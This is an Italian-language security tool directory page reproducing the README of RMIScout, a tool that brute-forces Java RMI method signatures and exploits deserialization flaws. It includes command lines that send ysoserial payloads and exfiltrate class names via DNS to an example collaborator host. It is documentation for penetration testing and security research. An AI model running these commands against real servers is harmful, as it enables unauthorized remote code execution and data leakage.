Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
rmiscout — RMIScout utilizza strategie di wordlist e brute force per enumerare le funzioni RMI di Java e sfruttare le vulnerabilità di unmarshalling dei parametri RMI. | Kitploit
Strumenti/GitHubGitHub/bishopfox/rmiscout
Scanner di VulnerabilitàExploitRaccolta InformazioniFuzzingPenetration Testing
GitHubbishopfox/rmiscout

rmiscout

RMIScout utilizza strategie di wordlist e brute force per enumerare le funzioni RMI di Java e sfruttare le vulnerabilità di unmarshalling dei parametri RMI.

Vedi Repository
448625 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Sito web

License Python version

Descrizione

RMIScout consente attacchi con wordlist e brute force contro interfacce Java RMI esposte per indovinare in modo sicuro le firme dei metodi senza invocarli. Supporta molteplici protocolli Java RMI, l'invocazione di metodi e lo sfruttamento.

Panoramica delle funzionalità

  • Supporta molteplici tipi di server Java RMI:
    • RMI-JRMP (noto anche come RMI semplice; di solito porta 1099): servizio di registro oggetti remoti (rmiregistry)
    • Stub di attivazione RMI tramite rmid
    • RMI-IIOP: modello di programmazione Java CORBA (orbd; di solito porta 1050)
      • IIOP richiede JRE 1.8 per essere utilizzato. A causa della deprecazione nelle versioni successive del runtime.
    • RMI-SSL
  • Molteplici modalità di funzionamento
    • modalità wordlist: Verifica dei metodi remoti utilizzando una wordlist di firme (vedi elenchi inclusi lists/prototypes.txt)
    • modalità brute force: Data una wordlist di nomi di metodi, genera firme con vari tipi di parametri, numero di parametri e tipi di ritorno.
    • modalità exploit: Usa ysoserial per sfruttare metodi remoti con parametri non primitivi.
      • Richiede che rmiscout sia eseguito con JRE 1.8 affinché ysoserial funzioni correttamente.
    • modalità probe: Usa GadgetProbe per identificare le classi nel classpath remoto
    • modalità invoke: Invocazione diretta di metodi remoti specificando una firma del metodo e valori dei parametri dalla riga di comando (solo primitivi, array e Stringhe).
    • modalità elenco: Elenca i registri disponibili sul server remoto.
  • Commuta automaticamente tra RMI, RMI-SSL, stub di attivazione.
  • Esegue automaticamente tecniche di bypass localhost (ad es., registri associati a @127.0.0.1:XXXX, ma ancora esposti esternamente tramite XXXX)

Come funziona

Per identificare ma non eseguire funzioni RMI, RMIScout utilizza funzioni di rete RMI di basso livello e generazione dinamica di classi per inviare invocazioni RMI con tipi deliberatamente non corrispondenti al fine di attivare eccezioni remote. Tutti i parametri vengono sostituiti con una classe serializzabile generata dinamicamente con un nome di 255 caratteri che si presume non esista nel classpath remoto. Ad esempio:

root@kitploit:~
Interfaccia remota:

void login(String user, String password)

root@kitploit:~
RMIScout invocherà:

login((String) new QQkzkn3..255 caratteri..(), (String) new QQkzkn3..255 caratteri..())

root@kitploit:~
Se la classe è presente, ciò comporterà una `java.rmi.UnmarshalException` causata da `ClassNotFoundException` o da un errore di unmarshalling degli argomenti senza invocare il metodo sottostante.

Per articoli tecnici più dettagliati:
* [(Articolo originale) RMIScout: Brute-force sicuro e rapido delle interfacce Java RMI per l'esecuzione di codice](https://know.bishopfox.com/research/rmiscout)
* [(Aggiornamento RMIScout) Lezioni apprese sul brute-forcing di RMI-IIOP con RMIScout](https://labs.bishopfox.com/tech-blog/lessons-learned-on-brute-forcing-rmi-iiop-with-rmiscout)

### Modalità di funzionamento

#### Modalità wordlist

./rmiscout.sh wordlist -i lists/prototypes.txt

root@kitploit:~
Fornisci una wordlist di prototipi di metodi da verificare sul server remoto. RMIScout restituirà tutte le corrispondenze identificate.

*Per RMI-IIOP/CORBA*: A meno che i metodi non siano sovraccaricati, il brute-forcing e l'invocazione richiedono solo che i nomi corrispondano (tutte le altre informazioni vengono ignorate).
<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/3545/b49af096649b16371119eb4d8c730c23e59fe3bfa7a4a4e7703bd56f48d73342.gif" width=800/>
</p>

#### Modalità brute force

./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4

root@kitploit:~
Fornisci una wordlist di nomi di metodi candidati, quindi fornisci un elenco delimitato da virgole di tipi di ritorno candidati, intervallo numerico di parametri e tipi di parametri candidati. La modalità brute force genererà le permutazioni e cercherà le firme corrispondenti.

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/3545/7d72b55c4f69aaac0cc8fefdf93bdb545090239a664b1c427584a89325b5ed8e.gif" width=800/>
</p>

#### Modalità exploit

./rmiscout.sh exploit -s 'void vulnSignature(java.lang.String a, int b)' -p ysoserial.payloads.URLDNS -c "http://examplesubdomain.burpcollaborator.net" -n registryName

root@kitploit:~
Su server mal configurati, qualsiasi firma RMI nota che utilizza tipi non primitivi (ad es., `java.util.List`), può essere sfruttata sostituendo l'oggetto con un payload serializzato. Questa è una configurazione errata piuttosto comune (ad es., VMWare vSphere Data Protection + vRealize Operations Manager, Pivotal tc Server e Gemfire, Apache Karaf + Cassandra) come evidenziato nell'intervento di An Trinh al Blackhat EU 2019 (https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf).

RMIScout si integra con [ysoserial](https://github.com/frohoff/ysoserial/) per eseguire attacchi di deserializzazione contro servizi che configurano in modo errato i filtri di serializzazione a livello di processo ([JEP 290](https://openjdk.java.net/jeps/290)).

Esempi di firme sfruttabili:

void exampleMethod(java.util.Map a) // Qualsiasi tipo non primitivo void exampleMethod(float[] a) // Qualsiasi tipo di array, anche primitivi void exampleMethod(String a) // Funziona su JDK più vecchi, vedere sotto...

root@kitploit:~
*Nota:* Le firme contenenti tipi `java.lang.String` sono sfruttabili solo nelle versioni JRE 8/11/13/14 precedenti all'inizio del 2020 in RMI-JRMP, ma sono ancora sfruttabili al momento in RMI-IIOP.

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/3545/da3eaefb9f9c43ab2d8fe0df6d3a9a880630b90b14c345b937b118d6b2a5970b.gif" width=800/>
</p>

#### Modalità invoke

./rmiscout.sh invoke -p 1 -p 4 -s 'int add(int a, int b)' ./rmiscout.sh invoke -p 1,2,3,4 -s 'int addList(int[] a)'

root@kitploit:~
RMIScout ti permette di invocare qualsiasi firma con primitivi, array primitivi o Stringhe. Tipi più avanzati richiederanno la scrittura di un client personalizzato.

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/3545/4d6341cea3be85d8003d108946d90b30c97a4cc75876d5ab770ae09019dc8b96.gif" width=800/>
</p>

#### Modalità probe

./rmiscout.sh probe -s 'void vulnSignature(java.lang.String a, int b)' -i ../GadgetProbe/wordlists/maven_popular.list -d "examplesubdomain.burpcollaborator.net" -n registryName

root@kitploit:~
RMIScout si integra con [GadgetProbe](https://github.com/bishopfox/gadgetprobe) per identificare le classi nel classpath remoto. I nomi delle classi vengono esfiltrati tramite DNS.

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/3545/9e70ef4e3e4f5c3da27ecfd6d6a11e825a25af345f89079db6f64a854e673a66.gif" width=800/>
</p>

### Compilazione ed esecuzione

Utilizza lo script `rmiscout.sh` incluso per compilare automaticamente il progetto e come comodo wrapper per la sintassi `java -jar`:
```bash
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>

In alternativa, compila il progetto manualmente e utilizza la sintassi tradizionale java -jar:

root@kitploit:~
# Compila manualmente il JAR
./gradlew shadowJar

java -jar build/libs/rmiscout-1.4-SNAPSHOT-all.jar wordlist -i lists/prototypes.txt <host> <port>

Nota: RMI-IIOP (compilazione/runtime) e ysoserial (runtime) dipendono da JDK8.

Provalo

Esegui il server RMI demo in Docker. Prova la wordlist inclusa demo/wordlist.txt.

root@kitploit:~
cd demo
./start_demo.sh

Risoluzione dei problemi

D: Come posso sapere se <host>:<port> è un registro RMI?

Usa ./rmiscout list <host> <port> per ottenere informazioni sui registri su un server remoto.

root@kitploit:~
./rmiscout.sh list 127.0.0.1 1099
[INFO] Registries available on 127.0.0.1:1099 = [ActivationServer:com.bishopfox.example.ActivationImpl_Stub, plaintest:com.bishopfox.example.HelloInterface]

Oppure, usa lo script rmi-dumpregistry di nmap:

root@kitploit:~
nmap --script rmi-dumpregistry 172.17.0.1 -p 1099 -Pn

PORT     STATE SERVICE
1099/tcp open  rmiregistry
| rmi-dumpregistry:
|   ActivationServer
|     com.bishopfox.example.ActivationImpl_Stub
|     \x00\x0EActivatableRef
|     extends
|       java.rmi.server.RemoteStub
|       extends
|         java.rmi.server.RemoteObject
|   plaintest
|      implements com.bishopfox.example.HelloInterface,
|     extends
|       java.lang.reflect.Proxy
|       fields
|           Ljava/lang/reflect/InvocationHandler; h
|             java.rmi.server.RemoteObjectInvocationHandler
|             @127.0.0.1:1111
|             extends
|_              java.rmi.server.RemoteObject

D: Ho trovato un registro sulla porta 1098 con il nome java.rmi.activation.ActivationSystem. Cosa posso farci?

Questo è un demone del sistema di attivazione rmid. Tutti i suoi metodi sono limitati dal SecurityManager. Le versioni più recenti di JRE verificano se il peer remoto proviene da localhost prima di deserializzare qualsiasi dato remoto. Le versioni precedenti (pre-2011) non avevano questo controllo e potrebbero essere vulnerabili. Vedi https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb

D: Posso eseguire RMIScout con un runtime più recente di JRE 8?

Tecnicamente sì, ma diverse funzionalità smetteranno di funzionare. Il supporto CORBA, il supporto probe e ysoserial (modalità exploit) richiedono una dipendenza da JRE 8.

D: Perché ricevo una CannotCompileException?

Una CannotCompileException si verifica quando viene fornito un nome di metodo o un prototipo non valido direttamente o tramite una wordlist. RMIScout genera bytecode per le firme candidate fornite dall'utente in fase di esecuzione. Sebbene RMIScout abbia regole di base per correggere errori di sintassi comuni nei prototipi forniti dall'utente, a volte fallirà.

Autore

Twitter: @BumbleSec

GitHub: the-bumble

Scarica lo strumento